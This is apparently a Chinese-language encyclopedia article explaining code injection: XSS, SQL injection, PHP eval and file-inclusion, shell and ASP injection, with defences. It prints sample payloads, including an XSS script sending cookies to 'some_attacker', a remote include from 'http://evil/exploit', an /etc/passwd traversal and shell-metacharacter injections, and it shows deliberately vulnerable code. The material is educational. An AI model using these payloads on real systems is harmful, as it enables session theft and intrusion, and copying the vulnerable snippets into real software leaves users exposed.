程式碼注入
程式碼注入(英語:Code injection)是因處理無效數據的而引發的程式錯誤。程式碼注入可被攻擊者用來匯入程式碼到某特定的電腦程式,以改變程式的執行進程或目的。程式碼注入攻擊的結果可以是災難性的。例如說:程式碼注入可作為許多電腦蠕蟲繁殖的溫床。
概說及例子
編輯舉例說,有一間公司的網頁伺服器上有一個簽名簿的程式碼,用來讓用戶發表簡短的口信,例如:
Nice site!
不過,這個程式碼原來有跨網站指令碼漏洞。一個意圖入侵者得悉這間公司採用了有問題的程式碼,於是試圖透過留下一條附帶有程式碼的口信,例如:
Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>
如果另一個用戶檢視了該頁,被注入的程式碼即執行。該程式碼可讓攻擊者扮裝成另一個用戶。然而這個相同的軟件臭蟲可被用戶意外的觸發,亦即造成該網站暴露 HTML 程式碼。
That post was awesome, :>)
在這個案例裏表情符號可造成 HTML 程式碼不對稱,因為不對稱的HTML標籤被注入到程式碼裏。
大部分這類的問題與哪些可能輸入資料,或者特殊資料效果的錯誤假設相關。一些軟件開發員可能犯下危險假設的經典範例如下:
程式碼注入的用途
編輯蓄意的用途
編輯惡意使用
編輯程式碼注入的使用一般被視為心懷惡意的舉動,而它確實常常如此。透過程式碼注入技術在黑或者破解系統上,以取得資訊、提權、或者非法存取某系統是相當流行的。
惡意用途的程式碼注入可包括:
- 透過SQL注入(見下文)隨意修改資料庫中的值。影響所及可從某網站外觀損毀,到對敏感資料嚴重的破壞。
- 當用戶拜訪惡意網站時,透過網頁瀏覽器或其外掛程式的漏洞安全隱患,進行程式碼注入,以便安裝流氓軟件到用戶機器上。
- 透過PHP或者ASP注入安裝流氓軟件或者執行惡意程式碼於伺服器端。
- 於UNIX系統利用Shell注入安全隱患對setuid root二進位資料作修改,達成提權到root使用權限的目的。
- 於視窗系統利用Shell注入安全隱患對系統服務做手腳,達成提權到本地端系統使用權限的目的。
- 從網頁瀏覽器利用HTML/指令碼注入(跨網站指令碼)進行連線竊取 / cookies竊取進而冒充他人,取得他人個人敏感資料。
善意使用
編輯某些人可能會出於善意而使用程式碼注入。例如,透過程式碼注入以改變或者除錯某程式或者系統的行為可以「擺弄」系統以某種方式表現其行為而不懷任何惡意。打比方說:
- 程式碼注入可以添入某原本搜尋結果頁面設計上沒有的欄位,方便用戶。
- 透過對原本設計預設函數沒有曝光的欄位賦值,程式碼注入可提供一個全新的方式來過濾、排序、或者歸類資料。
這些人訴諸此種替代手段大致是下面幾種原因之一:
- 對軟件中希望改進函數進行潤飾的其他方法證明不可能,或者
- 其他對軟件修改的方式代價過高,或者
- 其他對軟件修改的方式過度艱苦。
一般開發社群對以此為目的的程式碼注入不表歡迎。他們稱這種行為為三腳貓、半調子、或者駭 / 黑程式。(kludge or hack)
某些開發者允許或者甚至表揚程式碼注入的使用來「加強」他們的軟件;通常是因為該方案提供了較不昂貴的方式來實現新的或者特殊化的功能。不幸的是,其副作用與無法列管的蘊含式可能相當危險。
一般來說,即使相當善意的程式碼注入使用都不被建議使用。
非蓄意的用途
編輯某些用戶可能會不經意進行程式碼注入,因為他們對程式提供的輸入,沒列在當初開發系統者的考慮中。例如:
- 用戶可能視某個包含表示字元或者字元字串為合法輸入,而不知該字元被開發者所保留而有特殊意義(像「張三 & 李四」裏的「&」字元,或者英文約翰的 M&M 巧克力:「John's M&M's」裏的單引號)。
- 用戶可能會提交格式錯亂的檔案做為輸入。這種行為對單一程式沒什麼問題,但可能對整個接收系統是災難。
避免程式碼注入
編輯要避免程式碼注入的種種問題,得充分發揮輸入輸出處理保全,例如:
- 輸入確認。
- 更換危險字元。例如在PHP透過
addslashes()
函數保護SQL注入。 - 輸入編碼。
- 輸出編碼。
- 採用其他沒有飽受程式碼注入漏洞困擾的編程實現,例如「參數化SQL查詢」 ("parameterized SQL queries" 又名 "prepared statements" 亦有時稱 "bind variables") 。
程式碼注入範例
編輯SQL注入
編輯SQL注入是種乘SQL語法之利,注入可讀取或者修改資料庫、或者扭曲原始查詢意義的命令。
以一個網頁有兩個欄位讓用戶輸入用戶名與密碼為例,在該網頁幕後工作的程式碼會產生SQL查詢以檢查密碼是否與用戶名稱密碼列表相符:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
如果這查詢有回應行數,便允許該存取。然而,如果惡意用戶鍵入合法用戶名,並且在密碼欄注入某些合法程式碼 ("password' OR '1'='1"
),查詢結果便如下所示:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
在上面範例裏,"Password"被假定為空白或者某個無害的字串。"'1'='1'
"邏輯式將永遠為真,並且找到多少行就回應多少行,因此存取就被允許了。
該技術可被精練成允許執行多重陳述,甚或載入外部程式。
PHP注入
編輯"PHP注入"、"ASP注入"、以及其他類似技術術語是創造來泛指其他種種允許攻擊者直接對伺服器指令碼引擎提供程式碼的程式碼注入攻擊。在"PHP注入"實例裏,伺服端指令碼引擎是PHP。
實際上,PHP注入是「動態賦值安全隱患」、「包含檔案注入」、或者類似程式碼注入的安全隱患。
動態賦值安全隱患
編輯mitre.org(頁面存檔備份,存於互聯網檔案館)的史蒂芬克利斯第 (Steven M. Christey)提議以這個名字作為這類型的程式碼注入安全隱患。
動態賦值安全隱患 - Eval注入
編輯eval注入安全隱患發生在攻擊者可控制所有或者部份作為「餵」給eval()
函數呼叫的輸入字串。[2]
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
"eval
"的參數將會視同PHP處理,所以額外的命令可被添加。例如:如果"arg"如果被設成"10; system('/bin/echo uh-oh')
",後面的"system('/bin/echo uh-oh')
"程式碼將被執行,這等同在伺服器上執行開發者意料外的程式。在這範例裏頭是"/bin/echo
"。
動態賦值安全隱患 - 動態變數賦值
編輯如在"Dynamic Evaluation Vulnerabilities in PHP applications"一文所定義的: PHP支援 "變數的變數",意指變數或者表達式可以對其他變數名賦值。這種特性可用來於程式執行時期動態改變哪個變數被存取或給值。這種特性是把雙刃劍:強大、便利、同時也很危險。
許多程式有下面類似程式碼:
$safevar = "0";
$param1 = "";
$param2 = "";
$param3 = "";
# my own "register globals" for param[1,2,3]
foreach ($_GET as $key => $value) {
$$key = $value;
}
如果攻擊者在查詢字串中給定"safevar=bad
",那$safevar
將會被設為值 "bad"。
動態賦值安全隱患 - 動態函數賦值
編輯下面PHP範例將按照請求的方式執行函數。
$myfunc = $_GET['myfunc'];
$myfunc();
以及:
$myfunc = $_GET['myfunc'];
${"myfunc"}();
包含檔案注入
編輯考慮下面的PHP程式(這裏包含了個檔案可因應需求改變):
<?php
$color = 'blue';
if (__isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
開發者認為這樣大概可以保證只有 blue.php 和 red.php 可被載入。不過隨着任何人可在COLOR
輕易的插入隨意值,造成以下檔案注入的可能性:
/vulnerable.php?COLOR=http://evil/exploit?
- 注入遠端機器上有漏洞的檔案。/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
- 從一個已經上載、叫做exploit.php檔案運行其程式碼。/vulnerable.php?COLOR=../../../../../../../../etc/passwd%00
- 讓攻擊者取得該UNIX系統目錄檢索下密碼檔案的內容。/vulnerable.php?COLOR=C:\\notes.txt%00
- 一個使用空元字元以解除.php
副檔名限制,允許存取其他非 .php 結尾檔案。 (PHP預設值"magic_quotes_gpc = On"可以終止這種攻擊)
Shell注入
編輯Shell注入又稱命令列介面注入,它命名源於Unix Shell,不過可套用到大部分允許軟件程式化地執行命令列介面的系統上。常見的Shell注入資源有system()
、StartProcess()
、java.lang.Runtime.exec()
、System.Diagnostics.Process.Start()
以及類似的應用程式介面。
考慮下面的簡短PHP程式。它執行一段叫做funnytext的外部程式,以置換用戶送出的許多其他單字:
<?php
passthru ( " /home/user/phpguru/funnytext "
. $_GET['USER_INPUT'] );
?>
該程式可以以多種方式被注入:
- `命令` 將會執行 命令.
- $(命令) 將會執行 命令.
- ; 命令 將會執行 命令,並輸出命令的結果。
- | 命令 將會執行 命令,並輸出命令的結果。
- && 命令 將會執行 命令,並輸出命令的結果。
- || 命令 將會執行 命令,並輸出命令的結果。
- > /home/user/phpguru/.bashrc 將會覆寫檔案 .bashrc.
- < /home/user/phpguru/.bashrc 將會將檔案 .bashrc 送出,當成是 funnytext 的輸入。
註:命令指的是命令列介面下可供輸入執行的命令,例如視窗平台的 dir、UNIX 平台的 ls 等等。
PHP提供escapeshellarg()
和escapeshellcmd()
以在呼叫方法以前進行編碼。然而,實際上並不建議相信這些方法是安全的 - 同樣必須對輸入確認 / 消毒。
HTML注入/指令碼注入 (跨網站指令碼)
編輯HTML注入/指令碼注入是個炒得相當熱的話題,一般專業術語為跨網站指令碼(Cross-site scripting,通常簡稱為XSS)。XSS指的是一種依靠用戶輸入到網頁指令碼,或者某些像程式碼行被置於輸出HTML,而沒有檢查HTML程式碼或指令碼的注入漏洞。
這種注入有兩個基本型如下:
- 主動式 (型 1)
- 這種型態的XSS漏洞比較不危險,因為用戶輸入被置於動態產生的網頁。伺服器端沒有任何改變。
- 被動式 (型 2)
- 這種型態比較危險,因為輸入是寫在靜態網頁上,故威脅是持續性的。
於IE7透過感染的動態連結函式庫(DLL)實行HTML注入
編輯根據英國技術網站The Register的[3]文獻指出,HTML注入亦可發生在用戶本身被有問題的DLL感染過的系統身上。該文獻參照羅傑湯森 (Roger Thompson) 的說法:受害者的瀏覽器,實際上,訪問了PayPal或其他類似的網站,甚或某動態連結檔案將它自己插入IE,並試着在交易進行中讀取並修改HTML。該文獻提及使用這種手段的釣魚攻擊順利規避IE7與賽門鐵克嘗試偵測可疑網站的努力。
ASP注入
編輯"ASP注入"、"PHP注入"、以及其他類似技術術語是創造來泛指其他種種允許攻擊者直接對伺服器指令碼引擎提供程式碼的程式碼注入攻擊。在"ASP注入"實例裏,伺服端指令碼引擎是微軟Active Server Pages,一種微軟IIS的外加元件。
在實際上與PHP相似,ASP注入也是「動態賦值安全隱患」、「包含檔案注入」、或者類似程式碼注入的安全隱患。
範例:
<%
If Not IsEmpty(Request( "username" ) ) Then
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
f.Write Request("username") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
%>
<h1>List of logged users:</h1>
<pre>
<%
Server.Execute( "userlog.txt" )
%>
</pre>
<%
Else
%>
<form>
<input name="username" /><input type="submit" name="submit" />
</form>
<%
End If
%>
在這個範例中,用戶可用命令而非用戶名取代輸入。
參看
編輯參考
編輯- ^ 許多檔案格式開始直接宣告該檔案手頭有多少資料,以及某些其他值。在不細心開發的軟件中,了解在這宣告裏的資料總合可導致快取溢位 (例如,編程不嚴謹的網頁瀏覽器)。這常常將程式碼注入弱點攤在陽光下。這是許多波及檔案(特別是圖形以及媒體檔案)保全漏洞的背後的元兇。
- ^ Insecure.org. Dynamic Evaluation Vulnerabilities in PHP applications.
- ^ Strange spoofing technique evades anti-phishing filters | The Register. [2008-08-23]. (原始內容存檔於2019-07-09).
外部連結
編輯- Article "The Cross-site Scripting FAQ(頁面存檔備份,存於互聯網檔案館)" By Robert CGISecurity.com
- Article "Three Ways to Inject Your Code into Another Process" by Robert Kuster
- Article "Inject your code to a Portable Executable file" by A. Danehkar
- Article "Injective Code inside Import Table" by A. Danehkar
- Article "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)" by Tadeusz Pietraszek and Chris Vanden Berghe
- News article "Flux spreads wider" - First Trojan horse to make use of code injection to prevent detection from a firewall
- The Daily WTF(頁面存檔備份,存於互聯網檔案館) regularly reports real-world incidences of susceptibility to code injection in software.
- Known code injection vulnerabilities since 2001 by Armorize Technologies